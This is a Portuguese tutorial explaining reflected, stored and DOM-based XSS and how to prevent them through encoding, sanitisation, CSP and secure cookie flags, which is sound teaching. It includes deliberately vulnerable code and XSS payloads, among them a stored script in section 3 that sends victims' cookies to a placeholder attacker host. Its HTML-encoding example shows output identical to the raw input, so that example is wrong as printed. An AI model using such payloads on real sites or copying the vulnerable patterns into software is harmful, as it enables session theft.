Cross-Site Scripting (XSS): tipos e prevenção
1. O que é Cross-Site Scripting (XSS) e por que importa para devs
Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite a injeção de scripts maliciosos em páginas web consideradas confiáveis. Quando um atacante consegue inserir código JavaScript arbitrário em uma aplicação, esse script é executado no navegador da vítima com o mesmo nível de privilégio da aplicação legítima.
Os impactos de um ataque XSS bem-sucedido incluem:
- Roubo de cookies de sessão e sequestro de contas
- Desfiguração visual de sites (defacement)
- Redirecionamento para páginas de phishing
- Captura de teclas digitadas (keylogging)
- Execução de ações não autorizadas em nome do usuário
No OWASP Top 10 (2021), XSS aparece como a terceira vulnerabilidade mais crítica em aplicações web, demonstrando sua relevância contínua. Diferentemente de ataques no lado servidor, XSS explora a confiança que o navegador deposita no conteúdo servido pela aplicação.
2. XSS Refletido (Reflected XSS)
O XSS Refletido ocorre quando o script malicioso é refletido imediatamente na resposta HTTP, geralmente através de parâmetros de URL, campos de formulário ou cabeçalhos de requisição. O atacante precisa enganar a vítima para que ela clique em um link especialmente criado.
Exemplo de código vulnerável (PHP):
<?php
$nome = $_GET['nome'];
echo "Olá, " . $nome . "!";
?>
Se um usuário acessar:
http://site.com/saudacao.php?nome=<script>alert('XSS')</script>
O navegador executará o script injetado. Vetores comuns incluem links maliciosos em e-mails, formulários de busca que exibem o termo pesquisado e parâmetros de redirecionamento.
3. XSS Armazenado (Stored XSS)
O XSS Armazenado é mais perigoso porque o script malicioso é persistido no servidor (banco de dados, sistema de arquivos, logs) e executado sempre que a página for carregada. Não requer que a vítima clique em um link específico.
Exemplo de código vulnerável (Node.js/Express com MongoDB):
app.post('/comentario', (req, res) => {
const comentario = req.body.texto;
// Sem sanitização - salva diretamente
db.comentarios.insertOne({ texto: comentario });
});
app.get('/comentarios', (req, res) => {
db.comentarios.find().toArray((err, comentarios) => {
let html = '<ul>';
comentarios.forEach(c => {
html += '<li>' + c.texto + '</li>'; // VULNERÁVEL
});
html += '</ul>';
res.send(html);
});
});
Um atacante insere no formulário de comentários:
<script>document.location='http://atacante.com/roubar?cookie='+document.cookie</script>
Todo visitante da página de comentários terá seu cookie de sessão enviado ao atacante. O risco é amplificado porque o ataque atinge múltiplos usuários sem necessidade de interação individual.
4. XSS Baseado em DOM (DOM-based XSS)
O XSS Baseado em DOM ocorre exclusivamente no lado do cliente. A vulnerabilidade reside em código JavaScript que manipula dinamicamente o DOM da página, usando fontes de dados não confiáveis (URL, localStorage, postMessage, document.referrer).
Exemplo de código vulnerável (JavaScript puro):
<script>
// Lê o parâmetro 'lang' da URL
const params = new URLSearchParams(window.location.search);
const lang = params.get('lang');
// Insere diretamente no DOM - VULNERÁVEL
document.getElementById('saudacao').innerHTML =
'Idioma selecionado: ' + lang;
</script>
Acessando:
http://site.com/pagina.html?lang=<img src=x onerror=alert('XSS')>
O evento onerror da imagem executará o código malicioso. Diferente dos tipos anteriores, o servidor pode nem mesmo processar essa requisição de forma vulnerável — o ataque acontece inteiramente no navegador.
5. Técnicas de prevenção: sanitização e validação de entrada
A prevenção de XSS requer uma abordagem em camadas, sendo a codificação de saída (output encoding) a defesa mais fundamental. O contexto de saída determina qual codificação usar:
HTML Context:
// Entrada do usuário: <script>alert('xss')</script>
// Codificar para: <script>alert('xss')</script>
JavaScript Context:
// Entrada do usuário: "); alert('xss'); //
// Codificar para: \x22); alert(\x27xss\x27); \x2f\x2f
Validação de entrada (whitelist):
function validarNome(nome) {
// Aceita apenas letras, espaços e hífens
const regex = /^[a-zA-ZÀ-ÿ\s\-]+$/;
if (!regex.test(nome)) {
throw new Error('Nome inválido');
}
return nome;
}
Uso de bibliotecas confiáveis:
// Exemplo com DOMPurify (cliente)
const sujo = "<img src=x onerror=alert('XSS')>";
const limpo = DOMPurify.sanitize(sujo);
document.getElementById('conteudo').innerHTML = limpo;
// Exemplo com OWASP Java Encoder (servidor)
import org.owasp.encoder.Encode;
String seguro = Encode.forHtml(entradaUsuario);
6. Políticas de Segurança de Conteúdo (CSP) como barreira definitiva
CSP (Content Security Policy) é um cabeçalho HTTP que instrui o navegador sobre quais fontes de script são permitidas. Funciona como uma camada de defesa em profundidade — mesmo que um XSS seja injetado, o navegador bloqueia sua execução.
Exemplo de política restritiva:
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
Armadilhas comuns:
- 'unsafe-inline' — permite scripts inline, anulando grande parte da proteção
- 'unsafe-eval' — permite eval(), setTimeout(string), etc.
- Políticas muito permissivas que incluem CDNs públicas como cdnjs.cloudflare.com
Uso de nonces para scripts inline seguros:
Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">
// Este script será executado
const dados = { nome: "João" };
</script>
<script>
// Este script será bloqueado (sem nonce)
alert('XSS');
</script>
7. Boas práticas adicionais e mitigações específicas
HttpOnly e Secure flags em cookies de sessão:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly: impede acesso ao cookie via JavaScript (document.cookie)Secure: envia apenas sobre HTTPSSameSite=Strict: previne envio em requisições cross-site
Frameworks modernos com proteção embutida:
React (JSX escapa automaticamente):
function Comentario({ texto }) {
// JSX escapa por padrão - seguro
return <div>{texto}</div>;
}
Angular (interpolação segura):
// Seguro - Angular escapa automaticamente
<p>{{ usuario.texto }}</p>
// Perigoso - bypass manual
<p [innerHTML]="usuario.texto"></p>
Ferramentas de análise estática e testes dinâmicos:
Ferramentas SAST (Static Application Security Testing) como SonarQube e Checkmarx analisam código-fonte em busca de padrões vulneráveis. Ferramentas DAST (Dynamic Application Security Testing) como OWASP ZAP e Burp Suite testam a aplicação em execução, tentando injetar payloads XSS.
Referências
- OWASP Cross-Site Scripting (XSS) — Documentação oficial da OWASP sobre tipos de XSS, exemplos e vetores de ataque
- MDN Web Docs: Content Security Policy (CSP) — Guia completo sobre CSP, diretivas e configurações recomendadas
- OWASP XSS Prevention Cheat Sheet — Folha de referência com regras práticas de prevenção por contexto de saída
- PortSwigger: Cross-site Scripting (XSS) — Tutoriais interativos e laboratórios práticos sobre XSS refletido, armazenado e DOM-based
- DOMPurify Documentation — Biblioteca de sanitização de HTML mantida pela Cure53, amplamente recomendada para segurança no cliente
- OWASP Java Encoder Project — Biblioteca oficial da OWASP para codificação de saída segura em aplicações Java